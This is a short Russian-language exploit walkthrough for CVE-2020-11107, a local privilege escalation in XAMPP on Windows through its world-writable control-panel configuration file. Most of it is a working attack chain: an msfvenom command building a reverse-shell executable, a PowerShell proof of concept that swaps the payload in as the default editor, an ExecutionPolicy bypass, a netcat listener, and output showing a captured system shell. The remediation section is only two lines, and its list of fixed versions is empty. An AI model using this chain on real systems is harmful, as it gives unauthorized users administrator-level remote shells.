
CVE-2020-11107-本地权限提升-XAMPP-7.2.29-7.3.x-7.3.16-7.4.x-7.4.4
CVE-2020-11107 — это уязвимость локального повышения привилегий (LPE), затрагивающая Apache Friends XAMPP на Windows.
Непривилегированный пользователь может изменить файл конфигурации панели управления XAMPP (xampp-control.ini) и заменить исполняемый файл редактора по умолчанию (notepad.exe) на вредоносный исполняемый файл.
Когда другой пользователь (например, Администратор) открывает логи через панель управления, вредоносный бинарный файл выполняется с привилегиями жертвы, что приводит к повышению привилегий.
❗ Эта уязвимость не затрагивает Linux или macOS.
xampp-control.ini доступен для записи всем пользователямC:\xampp\xampp-control.ini
C:\xampp\xampp-control.exe
Проверка версии XAMPP:
type C:\xampp\properties.ini
Пример вывода:
base_stack_version=7.3.10-1
base_stack_platform=windows-x64
✅ Версия уязвима.
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=192.168.xxx.xxx LPORT=4444 \
-f exe -o msf.exe
mkdir C:\temp
# Загрузить msf.exe в C:\temp
Скрипт эксплуатации (PowerShell):
# CVE-2020-11107 PoC
$file = "C:\xampp\xampp-control.ini"
$find = ((Get-Content $file)[2] -Split "=")[1]
$replace = "C:\temp\msf.exe"
(Get-Content $file) -replace $find, $replace | Set-Content $file
Запуск скрипта:
powershell -ExecutionPolicy Bypass -File 50337.ps1
Жертва запускает:
C:\xampp\xampp-control.exe
Затем открывает любой файл лога из панели управления.
nc -lvnp 4444
✅ Результат:
Connection received...
C:\WINDOWS\system32>
🎉 Повышение привилегий выполнено успешно
Обновите XAMPP до одной из следующих версий (или новее):
Ограничьте права доступа к:
C:\xampp\xampp-control.ini